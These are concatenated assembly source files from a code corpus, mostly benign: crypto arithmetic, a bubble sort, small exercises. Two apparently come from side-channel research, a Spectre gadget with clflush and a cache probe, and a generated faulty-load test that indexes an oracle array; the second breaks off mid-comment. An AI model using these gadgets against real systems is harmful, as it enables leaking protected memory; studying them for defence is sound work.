add r9, [ rsp + 0x198 ]; could be done better, if r0 has been u8 as well
mov rdi, [ rsp + 0x0 ]; load m64 out1 to register64
mov [ rdi + 0x18 ], r8; out1[3] = x474
adcx r13, [ rsp + 0x190 ]
add r9, r11; could be done better, if r0 has been u8 as well
adcx r14, r13
mov rdx, [ rax + 0x18 ]; arg2[3] to rdx
mulx r11, r10, [ rsi + 0x8 ]; x138, x137<- arg1[1] * arg2[3]
mov rdx, [ rax + 0x8 ]; arg2[1] to rdx
mulx r8, r13, [ rsi + 0x18 ]; x112, x111<- arg1[3] * arg2[1]
mov [ rsp + 0x0 ], rdi; spilling out1 to mem
xor rdi, rdi
adox r9, r13
adcx r9, [ rsp + 0x1a8 ]
adox r8, r14
mov r14, -0x3 ; moving imm to reg
inc r14; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort
adox r9, r10
adcx r8, [ rsp + 0x1a0 ]
mov rdx, r12; x10002 to rdx
mulx rdx, r12, [ rsi + 0x40 ]; x6, x5<- arg1[8] * x10002
adox r11, r8
add r9, [ rsp + 0x188 ]; could be done better, if r0 has been u8 as well
adcx r11, [ rsp + 0x180 ]
mov r10, rdx; preserving value of x6 into a new reg
mov rdx, [ rsi + 0x28 ]; saving arg1[5] in rdx.
mulx r13, r8, [ rax + 0x0 ]; x92, x91<- arg1[5] * arg2[0]
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx rdi, r14, [ rax + 0x20 ]; x136, x135<- arg1[1] * arg2[4]
mov rdx, [ rsi + 0x38 ]; arg1[7] to rdx
mov [ rsp + 0x1c0 ], rdi; spilling x136 to mem
mov [ rsp + 0x1c8 ], r14; spilling x135 to mem
mulx rdi, r14, rbx; x20, x19<- arg1[7] * x10001
shr rcx, 58; x473 <- x470>> 58
mov [ rsp + 0x1d0 ], r13; spilling x92 to mem
xor r13, r13
adox r9, [ rsp + 0x1b8 ]
adcx r12, r14
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx r14, r13, [ rax + 0x18 ]; x122, x121<- arg1[2] * arg2[3]
adox rcx, r11
mov rdx, [ rsi + 0x30 ]; arg1[6] to rdx
mov [ rsp + 0x1d8 ], r14; spilling x122 to mem
mulx r11, r14, [ rsp + 0x30 ]; x32, x31<- arg1[6] * x10000
mov [ rsp + 0x1e0 ], r13; spilling x121 to mem
setc r13b; spill CF x295 to reg (r13)
mov [ rsp + 0x1e8 ], r11; spilling x32 to mem
mov r11, r9; x479, copying x475 here, cause x475 is needed in a reg for other than x479, namely all: , x479, x481, size: 2
shrd r11, rcx, 58; x479 <- x477||x475 >> 58
shr rcx, 58; x480 <- x477>> 58
sar r13b, 1
adcx rdi, r10
adox r12, r14
clc;
adcx r12, r8
mov rdx, [ rax + 0x10 ]; arg2[2] to rdx
mulx r10, r8, [ rsi + 0x18 ]; x110, x109<- arg1[3] * arg2[2]
adox rdi, [ rsp + 0x1e8 ]
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx r13, r14, [ rax + 0x28 ]; x152, x151<- arg1[0] * arg2[5]
mov rdx, [ rax + 0x8 ]; arg2[1] to rdx
mov [ rsp + 0x1f0 ], rcx; spilling x480 to mem
mov [ rsp + 0x1f8 ], r11; spilling x479 to mem
mulx rcx, r11, [ rsi + 0x20 ]; x100, x99<- arg1[4] * arg2[1]
mov [ rsp + 0x200 ], r13; spilling x152 to mem
mov r13, -0x2 ; moving imm to reg
inc r13; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r12, r11
mov rdx, [ rax + 0x30 ]; arg2[6] to rdx
mulx r11, r13, [ rsi + 0x0 ]; x150, x149<- arg1[0] * arg2[6]
adcx rdi, [ rsp + 0x1d0 ]
clc;
adcx r12, r8
adox rcx, rdi
mov rdx, [ rsi + 0x40 ]; arg1[8] to rdx
mulx rbx, r8, rbx; x4, x3<- arg1[8] * x10001
mov rdi, -0x2 ; moving imm to reg
inc rdi; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r12, [ rsp + 0x1e0 ]
seto dil; spill OF x315 to reg (rdi)
mov [ rsp + 0x208 ], r11; spilling x150 to mem
mov r11, -0x2 ; moving imm to reg
inc r11; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r12, [ rsp + 0x1c8 ]
mov rdx, [ rax + 0x20 ]; arg2[4] to rdx
mov [ rsp + 0x210 ], r13; spilling x149 to mem
mulx r11, r13, [ rsi + 0x10 ]; x120, x119<- arg1[2] * arg2[4]
adcx r10, rcx
movzx rdi, dil
lea r10, [ rdi + r10 ]
mov rdi, [ rsp + 0x1d8 ]
lea r10, [rdi+r10]
mov rdx, [ rsi + 0x38 ]; arg1[7] to rdx
mulx rcx, rdi, [ rsp + 0x30 ]; x18, x17<- arg1[7] * x10000
mov rdx, [ rax + 0x10 ]; arg2[2] to rdx
mov [ rsp + 0x218 ], r11; spilling x120 to mem
mov [ rsp + 0x220 ], r13; spilling x119 to mem
mulx r11, r13, [ rsi + 0x20 ]; x98, x97<- arg1[4] * arg2[2]
clc;
adcx r12, r14
adox r10, [ rsp + 0x1c0 ]
adcx r10, [ rsp + 0x200 ]
add r12, [ rsp + 0x1f8 ]; could be done better, if r0 has been u8 as well
mov r14, -0x2 ; moving imm to reg
inc r14; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r8, rdi
adox rcx, rbx
adcx r10, [ rsp + 0x1f0 ]
mov rbx, r12; x486, copying x482 here, cause x482 is needed in a reg for other than x486, namely all: , x486, x488, size: 2
shrd rbx, r10, 58; x486 <- x484||x482 >> 58
mov rdx, [ rsi + 0x30 ]; arg1[6] to rdx
mulx rdi, r14, [ rax + 0x0 ]; x84, x83<- arg1[6] * arg2[0]
mov rdx, [ rax + 0x8 ]; arg2[1] to rdx
mov [ rsp + 0x228 ], rbx; spilling x486 to mem
mov [ rsp + 0x230 ], r11; spilling x98 to mem
mulx rbx, r11, [ rsi + 0x28 ]; x90, x89<- arg1[5] * arg2[1]
test al, al
adox r8, r14
adox rdi, rcx
adcx r8, r11
mov rcx, -0x2 ; moving imm to reg
inc rcx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r8, r13
adcx rbx, rdi
adox rbx, [ rsp + 0x230 ]
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx r13, r14, [ rax + 0x28 ]; x134, x133<- arg1[1] * arg2[5]
mov rdx, [ rax + 0x18 ]; arg2[3] to rdx
mulx r11, rdi, [ rsi + 0x18 ]; x108, x107<- arg1[3] * arg2[3]
shr r10, 58; x487 <- x484>> 58
add r8, rdi; could be done better, if r0 has been u8 as well
mov rdx, [ rsp + 0x30 ]; x10000 to rdx
mulx rdx, rdi, [ rsi + 0x40 ]; x2, x1<- arg1[8] * x10000
adcx r11, rbx
add r8, [ rsp + 0x220 ]; could be done better, if r0 has been u8 as well
adcx r11, [ rsp + 0x218 ]
test al, al
adox r8, r14
mov rbx, rdx; preserving value of x2 into a new reg
mov rdx, [ rax + 0x30 ]; saving arg2[6] in rdx.
mulx r14, rcx, [ rsi + 0x8 ]; x132, x131<- arg1[1] * arg2[6]
adox r13, r11
adcx r8, [ rsp + 0x210 ]
mov rdx, [ rsi + 0x38 ]; arg1[7] to rdx
mov [ rsp + 0x238 ], r15; spilling x454 to mem
mulx r11, r15, [ rax + 0x0 ]; x78, x77<- arg1[7] * arg2[0]
adcx r13, [ rsp + 0x208 ]
test al, al
adox rdi, r15
mov rdx, [ rax + 0x8 ]; arg2[1] to rdx
mov [ rsp + 0x240 ], r14; spilling x132 to mem
mulx r15, r14, [ rsi + 0x30 ]; x82, x81<- arg1[6] * arg2[1]
adcx r8, [ rsp + 0x228 ]
adox r11, rbx
adcx r10, r13
mov rdx, [ rax + 0x38 ]; arg2[7] to rdx
mulx rbx, r13, [ rsi + 0x0 ]; x148, x147<- arg1[0] * arg2[7]
mov rdx, [ rax + 0x20 ]; arg2[4] to rdx
mov [ rsp + 0x248 ], rbx; spilling x148 to mem
mov [ rsp + 0x250 ], r13; spilling x147 to mem
mulx rbx, r13, [ rsi + 0x18 ]; x106, x105<- arg1[3] * arg2[4]
mov [ rsp + 0x258 ], rcx; spilling x131 to mem
xor rcx, rcx
adox rdi, r14
adox r15, r11
mov rdx, [ rsi + 0x28 ]; arg1[5] to rdx
mulx r14, r11, [ rax + 0x10 ]; x88, x87<- arg1[5] * arg2[2]
mov rcx, r8; x493, copying x489 here, cause x489 is needed in a reg for other than x493, namely all: , x495, x493, size: 2
shrd rcx, r10, 58; x493 <- x491||x489 >> 58
mov [ rsp + 0x260 ], rcx; spilling x493 to mem
xor rcx, rcx
adox rdi, r11
mov rdx, [ rax + 0x18 ]; arg2[3] to rdx
mulx r11, rcx, [ rsi + 0x20 ]; x96, x95<- arg1[4] * arg2[3]
adcx rdi, rcx
adox r14, r15
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx r15, rcx, [ rax + 0x28 ]; x118, x117<- arg1[2] * arg2[5]
adcx r11, r14
test al, al
adox rdi, r13
adcx rdi, rcx
adox rbx, r11
adcx r15, rbx
xor r13, r13
adox rdi, [ rsp + 0x258 ]
mov rdx, [ rax + 0x0 ]; arg2[0] to rdx
mulx r14, rcx, [ rsi + 0x40 ]; x74, x73<- arg1[8] * arg2[0]
adox r15, [ rsp + 0x240 ]
shr r10, 58; x494 <- x491>> 58
xor r11, r11
adox rdi, [ rsp + 0x250 ]
adox r15, [ rsp + 0x248 ]
mov rdx, [ rax + 0x20 ]; arg2[4] to rdx
mulx r13, rbx, [ rsi + 0x20 ]; x94, x93<- arg1[4] * arg2[4]
mov rdx, [ rax + 0x30 ]; arg2[6] to rdx
mov [ rsp + 0x268 ], r13; spilling x94 to mem
mulx r11, r13, [ rsi + 0x10 ]; x116, x115<- arg1[2] * arg2[6]
mov rdx, [ rax + 0x38 ]; arg2[7] to rdx
mov [ rsp + 0x270 ], r11; spilling x116 to mem
mov [ rsp + 0x278 ], r13; spilling x115 to mem
mulx r11, r13, [ rsi + 0x8 ]; x130, x129<- arg1[1] * arg2[7]
adcx rdi, [ rsp + 0x260 ]
mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx
mov [ rsp + 0x280 ], r11; spilling x130 to mem
mov [ rsp + 0x288 ], r13; spilling x129 to mem
mulx r11, r13, [ rax + 0x28 ]; x104, x103<- arg1[3] * arg2[5]
mov rdx, [ rax + 0x8 ]; arg2[1] to rdx
mov [ rsp + 0x290 ], r11; spilling x104 to mem
mov [ rsp + 0x298 ], r13; spilling x103 to mem
mulx r11, r13, [ rsi + 0x38 ]; x76, x75<- arg1[7] * arg2[1]
adcx r10, r15
mov r15, rdi; x500, copying x496 here, cause x496 is needed in a reg for other than x500, namely all: , x500, x502, size: 2
shrd r15, r10, 58; x500 <- x498||x496 >> 58
mov [ rsp + 0x2a0 ], r15; spilling x500 to mem
xor r15, r15
adox rcx, r13
adox r11, r14
mov rdx, [ rsi + 0x30 ]; arg1[6] to rdx
mulx r14, r13, [ rax + 0x10 ]; x80, x79<- arg1[6] * arg2[2]
adcx rcx, r13
mov rdx, [ rax + 0x18 ]; arg2[3] to rdx
mulx r13, r15, [ rsi + 0x28 ]; x86, x85<- arg1[5] * arg2[3]
adcx r14, r11
test al, al
adox rcx, r15
adox r13, r14
adcx rcx, rbx
adcx r13, [ rsp + 0x268 ]
mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx
mulx rbx, r11, [ rax + 0x40 ]; x146, x145<- arg1[0] * arg2[8]
xor r15, r15
adox rcx, [ rsp + 0x298 ]
adcx rcx, [ rsp + 0x278 ]
adox r13, [ rsp + 0x290 ]
mov r14, -0x3 ; moving imm to reg
inc r14; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort
adox rcx, [ rsp + 0x288 ]
adcx r13, [ rsp + 0x270 ]
clc;
adcx rcx, r11
adox r13, [ rsp + 0x280 ]
adcx rbx, r13
mov r11, 0x3ffffffffffffff ; moving imm to reg
mov r13, [ rsp + 0x238 ]; x460, copying x454 here, cause x454 is needed in a reg for other than x460, namely all: , x460, size: 1
and r13, r11; x460 <- x454&0x3ffffffffffffff
shr r10, 58; x501 <- x498>> 58
xor r14, r14
adox rcx, [ rsp + 0x2a0 ]
adox r10, rbx
and rbp, r11; x467 <- x461&0x3ffffffffffffff
mov r15, 0x1ffffffffffffff ; moving imm to reg
mov rbx, rcx; x509, copying x503 here, cause x503 is needed in a reg for other than x509, namely all: , x509, x507, size: 2
and rbx, r15; x509 <- x503&0x1ffffffffffffff
shrd rcx, r10, 57; x507 <- x505||x503 >> 57
and r9, r11; x481 <- x475&0x3ffffffffffffff
adox rcx, [ rsp + 0x1b0 ]
seto r14b; spill OF x511 to reg (r14)
shr r10, 57; x508 <- x505>> 57
movzx r15, r14b; x512, copying x511 here, cause x511 is needed in a reg for other than x512, namely all: , x512, size: 1
lea r15, [ r15 + r10 ]
and rdi, r11; x502 <- x496&0x3ffffffffffffff
mov r14, rcx; x513, copying x510 here, cause x510 is needed in a reg for other than x513, namely all: , x513, x514, size: 2
shrd r14, r15, 58; x513 <- x512||x510 >> 58
and rcx, r11; x514 <- x510&0x3ffffffffffffff
lea r14, [ r14 + r13 ]
mov r13, [ rsp + 0x0 ]; load m64 out1 to register64
mov [ r13 + 0x0 ], rcx; out1[0] = x514
mov r10, r14; x516, copying x515 here, cause x515 is needed in a reg for other than x516, namely all: , x516, x517, size: 2
shr r10, 58; x516 <- x515>> 58
and r12, r11; x488 <- x482&0x3ffffffffffffff
and r14, r11; x517 <- x515&0x3ffffffffffffff
mov [ r13 + 0x20 ], r9; out1[4] = x481
mov [ r13 + 0x8 ], r14; out1[1] = x517
and r8, r11; x495 <- x489&0x3ffffffffffffff
lea r10, [ r10 + rbp ]
mov [ r13 + 0x10 ], r10; out1[2] = x518
mov [ r13 + 0x38 ], rdi; out1[7] = x502
mov [ r13 + 0x28 ], r12; out1[5] = x488
mov [ r13 + 0x40 ], rbx; out1[8] = x509
mov [ r13 + 0x30 ], r8; out1[6] = x495
mov rbx, [ rsp + 0x2a8 ]; restoring from stack
mov rbp, [ rsp + 0x2b0 ]; restoring from stack
mov r12, [ rsp + 0x2b8 ]; restoring from stack
mov r13, [ rsp + 0x2c0 ]; restoring from stack
mov r14, [ rsp + 0x2c8 ]; restoring from stack
mov r15, [ rsp + 0x2d0 ]; restoring from stack
add rsp, 0x2d8
ret
; cpu AMD Ryzen 7 5800X 8-Core Processor
; clocked at 2200 MHz
; first cyclecount 217.17, best 139.53125, lastGood 144.28125
; seed 380019983455042
; CC / CFLAGS clang / -march=native -mtune=native -O3
; time needed: 3015708 ms / 60000 runs=> 50.2618ms/run
; Time spent for assembling and measureing (initial batch_size=65, initial num_batches=101): 120003 ms
; Ratio (time for assembling + measure)/(total runtime for 60000runs): 0.03979264570707774
; number reverted permutation/ tried permutation: 19393 / 30014 =64.613%
; number reverted decision/ tried decision: 18237 / 29987 =60.816% |
||||
TheStack | dcacfd889f7eead7bea17fb9469355c9051cd9f5 | Assemblycode:Assembly | {"size": 722, "ext": "asm", "max_stars_repo_path": "sort_mass.asm", "max_stars_repo_name": "Panda-Lewandowski/Assembler", "max_stars_repo_stars_event_min_datetime": "2019-03-15T12:16:40.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-25T14:39:34.000Z", "max_issues_repo_path": "sort_mass.asm", "max_issues_repo_name": "Panda-Lewandowski/Assembler", "max_issues_repo_issues_event_min_datetime": "2017-06-14T15:12:10.000Z", "max_issues_repo_issues_event_max_datetime": "2017-06-14T15:12:10.000Z", "max_forks_repo_path": "sort_mass.asm", "max_forks_repo_name": "Panda-Lewandowski/Assembler", "max_forks_repo_forks_event_min_datetime": "2020-09-12T10:23:04.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-12T10:23:04.000Z"} | {"max_stars_count": 5, "max_issues_count": 1, "max_forks_count": 1, "avg_line_length": 12.4482758621, "max_line_length": 33, "alphanum_fraction": 0.5637119114} | SSEG SEGMENT PARA STACK 'STACK'
DB 200h dup (?)
SSEG ENDS
DSEG SEGMENT PARA PUBLIC 'DATA'
N DW 7
X DB 9, 3, 7, 6, 5, 8, 1
DSEG ENDS
CSEG SEGMENT PARA 'CODE'
ASSUME CS:CSEG, DS:DSEG, SS:SSEG
START:
MOV AX, DSEG
MOV DS, AX
MOV BX, OFFSET X ; Massiv
MOV CX, N ; max I
DEC CX
JZ PRINT
M1:
PUSH CX
MOV DX, CX
MOV CX, 0
ADD CX, DX
MOV SI, 0
M2:
MOV AL, [BX][SI]
CMP [BX][SI+1], AL
JNB M3
MOV AL, [BX][SI]
XCHG AL, [BX][SI+1]
MOV [BX][SI], AL
M3:
INC SI
LOOP M2
POP CX
LOOP M1
PRINT:
MOV CX, N
MOV SI, 0
PRINT1:
MOV AH, 02h
MOV DX, [BX][SI]
ADD DX, '0'
INT 21h
INC SI
LOOP PRINT1
STOP:
MOV AH, 4Ch
INT 21h
CSEG ENDS
END START
|
||||
TheStack | 2b9ff71d285362b63fe0423a06a8e454eddd58f2 | Assemblycode:Assembly | {"size": 243, "ext": "asm", "max_stars_repo_path": "04_spectre_full/gadget/01.asm", "max_stars_repo_name": "msmania/microarchitectural-attack", "max_stars_repo_stars_event_min_datetime": "2018-03-01T00:11:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-09T13:03:29.000Z", "max_issues_repo_path": "04_spectre_full/gadget/01.asm", "max_issues_repo_name": "msmania/microarchitectural-attack", "max_issues_repo_issues_event_min_datetime": "2018-05-16T01:59:04.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-03T15:59:48.000Z", "max_forks_repo_path": "04_spectre_full/gadget/01.asm", "max_forks_repo_name": "msmania/microarchitectural-attack", "max_forks_repo_forks_event_min_datetime": "2018-07-18T19:05:12.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-04T00:26:35.000Z"} | {"max_stars_count": 17, "max_issues_count": 2, "max_forks_count": 6, "avg_line_length": 12.7894736842, "max_line_length": 25, "alphanum_fraction": 0.6172839506} | global IndirectCall
global Touch
section .text
IndirectCall:
mov rax, rcx
mov rcx, rdx
mov rdx, r8
clflush [rax]
call [rax]
ret
Touch:
movzx eax, byte [rcx]
shl rax, 0Ch
mov al, byte [rax+rdx]
sysenter
|
||||
TheStack | 060a070cda5a2a6841e6c551a05b6c8c9482ea56 | Assemblycode:Assembly | {"size": 1682, "ext": "asm", "max_stars_repo_path": "programs/oeis/164/A164703.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/164/A164703.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/164/A164703.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 129.3846153846, "max_line_length": 1540, "alphanum_fraction": 0.9078478002} | ; A164703: a(n) = 8*a(n-2) for n > 2; a(1) = 1, a(2) = 16.
; 1,16,8,128,64,1024,512,8192,4096,65536,32768,524288,262144,4194304,2097152,33554432,16777216,268435456,134217728,2147483648,1073741824,17179869184,8589934592,137438953472,68719476736,1099511627776,549755813888,8796093022208,4398046511104,70368744177664,35184372088832,562949953421312,281474976710656,4503599627370496,2251799813685248,36028797018963968,18014398509481984,288230376151711744,144115188075855872,2305843009213693952,1152921504606846976,18446744073709551616,9223372036854775808,147573952589676412928,73786976294838206464,1180591620717411303424,590295810358705651712,9444732965739290427392,4722366482869645213696,75557863725914323419136,37778931862957161709568,604462909807314587353088,302231454903657293676544,4835703278458516698824704,2417851639229258349412352,38685626227668133590597632,19342813113834066795298816,309485009821345068724781056,154742504910672534362390528,2475880078570760549798248448,1237940039285380274899124224,19807040628566084398385987584,9903520314283042199192993792,158456325028528675187087900672,79228162514264337593543950336,1267650600228229401496703205376,633825300114114700748351602688,10141204801825835211973625643008,5070602400912917605986812821504,81129638414606681695789005144064,40564819207303340847894502572032,649037107316853453566312041152512,324518553658426726783156020576256,5192296858534827628530496329220096,2596148429267413814265248164610048,41538374868278621028243970633760768,20769187434139310514121985316880384,332306998946228968225951765070086144,166153499473114484112975882535043072
mov $1,1
add $1,$0
mov $2,$1
gcd $1,2
lpb $2
mul $1,8
sub $2,2
lpe
mov $0,$1
|
||||
TheStack | 32838697448d16a625b18935d2d100517d200659 | Assemblycode:Assembly | {"size": 225, "ext": "asm", "max_stars_repo_path": "Assignment 02/sampleProgram.asm", "max_stars_repo_name": "toaryangupta/LPCC", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Assignment 02/sampleProgram.asm", "max_issues_repo_name": "toaryangupta/LPCC", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Assignment 02/sampleProgram.asm", "max_forks_repo_name": "toaryangupta/LPCC", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 11.25, "max_line_length": 22, "alphanum_fraction": 0.56} | LOAD A
STORE B
MACRO ABC
LOAD p
SUB q
MEND
MACRO ADD1 ARG
LOAD X
STORE ARG
MEND
MACRO ADD5 A1, A2, A3
STORE A2
ADD1 5
ADD1 10
LOAD A1
LOAD A3
MEND
ABC
ADD5 D1, D2, D3
END |
||||
TheStack | 00a231aedfc69fe9dd65d93c219d4dfbb9feffc1 | Assemblycode:Assembly | {"size": 77, "ext": "asm", "max_stars_repo_path": "exercises/practice/space-age/space_age.asm", "max_stars_repo_name": "jonboland/x86-64-assembly", "max_stars_repo_stars_event_min_datetime": "2019-05-12T20:06:11.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-06T23:16:13.000Z", "max_issues_repo_path": "exercises/practice/space-age/space_age.asm", "max_issues_repo_name": "jonboland/x86-64-assembly", "max_issues_repo_issues_event_min_datetime": "2019-04-23T19:17:26.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T14:30:44.000Z", "max_forks_repo_path": "exercises/practice/space-age/space_age.asm", "max_forks_repo_name": "jonboland/x86-64-assembly", "max_forks_repo_forks_event_min_datetime": "2019-05-19T21:29:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-18T08:58:52.000Z"} | {"max_stars_count": 21, "max_issues_count": 49, "max_forks_count": 21, "avg_line_length": 12.8333333333, "max_line_length": 38, "alphanum_fraction": 0.7142857143} | section .text
global age
age:
; Provide your implementation here
ret
|
||||
TheStack | ae08dd154063e06da8c03fd2fad8b255fcef4f4d | Assemblycode:Assembly | {"size": 1098, "ext": "asm", "max_stars_repo_path": "test/ir/sumEven.asm", "max_stars_repo_name": "shivansh/gogo", "max_stars_repo_stars_event_min_datetime": "2018-04-28T02:27:47.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-08T00:25:13.000Z", "max_issues_repo_path": "test/ir/sumEven.asm", "max_issues_repo_name": "shivansh/gogo", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/ir/sumEven.asm", "max_forks_repo_name": "shivansh/gogo", "max_forks_repo_forks_event_min_datetime": "2018-05-06T07:36:02.000Z", "max_forks_repo_forks_event_max_datetime": "2019-09-13T09:40:55.000Z"} | {"max_stars_count": 24, "max_issues_count": null, "max_forks_count": 5, "avg_line_length": 14.2597402597, "max_line_length": 53, "alphanum_fraction": 0.5391621129} | # Test to find sum of all even numbers less than n
.data
nStr: .asciiz "Enter n: "
n: .word 0
i: .word 0
k: .word 0
l: .word 0
str: .asciiz "Sum of all even numbers less than n: "
.text
runtime:
addi $sp, $sp, -4
sw $ra, 0($sp)
lw $ra, 0($sp)
addi $sp, $sp, 4
jr $ra
.end runtime
.globl main
.ent main
main:
li $2, 4
la $4, nStr
syscall
li $2, 5
syscall
move $3, $2
sw $3, n # spilled n, freed $3
li $3, 0 # i -> $3
sw $3, i # spilled i, freed $3
li $3, 0 # k -> $3
# Store dirty variables back into memory
sw $3, k
loop:
lw $3, i # i -> $3
lw $5, n # n -> $5
bge $3, $5, exit
lw $3, i # i -> $3
rem $5, $3, 2
# Store dirty variables back into memory
sw $5, l
beq $5, 1, skip
lw $3, k # k -> $3
lw $5, i # i -> $5
add $3, $3, $5
addi $5, $5, 1
# Store dirty variables back into memory
sw $3, k
sw $5, i
j loop
skip:
lw $3, i # i -> $3
addi $3, $3, 1
# Store dirty variables back into memory
sw $3, i
j loop
exit:
li $2, 4
la $4, str
syscall
li $2, 1
lw $3, k # k -> $3
move $4, $3
syscall
li $2, 10
syscall
.end main
|
||||
TheStack | 78fdf715118518c8de752aac3b2fc085de4eb6b0 | Assemblycode:Assembly | {"size": 6135, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_st_zr_un_sm_/i9-9900K_12_0xca.log_21829_272.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_st_zr_un_sm_/i9-9900K_12_0xca.log_21829_272.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_st_zr_un_sm_/i9-9900K_12_0xca.log_21829_272.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 38.8291139241, "max_line_length": 2999, "alphanum_fraction": 0.6554197229} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x2530, %rdi
nop
nop
nop
add $9571, %r10
mov (%rdi), %cx
dec %rsi
lea addresses_D_ht+0xc9b0, %r10
nop
nop
nop
nop
nop
and %rax, %rax
mov (%r10), %bp
nop
nop
dec %rax
lea addresses_WC_ht+0x129b0, %rax
clflush (%rax)
nop
nop
sub $2701, %r9
mov (%rax), %cx
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x1542c, %r9
nop
nop
nop
nop
nop
add %r10, %r10
movw $0x6162, (%r9)
nop
nop
nop
nop
nop
sub $35177, %rax
lea addresses_UC_ht+0x11b80, %r10
nop
nop
xor %rax, %rax
movb $0x61, (%r10)
nop
nop
add $62583, %rbp
lea addresses_D_ht+0x1b30, %rsi
lea addresses_UC_ht+0xb1b0, %rdi
nop
nop
nop
nop
add $19703, %r13
mov $40, %rcx
rep movsl
cmp %rdi, %rdi
lea addresses_WC_ht+0x139b0, %rsi
lea addresses_D_ht+0x39b0, %rdi
nop
sub %r10, %r10
mov $93, %rcx
rep movsq
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x1ae, %r10
and %r9, %r9
mov $0x6162636465666768, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r10)
add %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdx
push %rsi
// Store
mov $0x191c5d00000009b0, %rcx
nop
xor $15735, %rdx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%rcx)
nop
nop
nop
nop
nop
dec %rbx
// Faulty Load
mov $0x191c5d00000009b0, %rbp
nop
nop
nop
nop
xor %r14, %r14
mov (%rbp), %esi
lea oracles, %rbx
and $0xff, %rsi
shlq $12, %rsi
mov (%rbx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
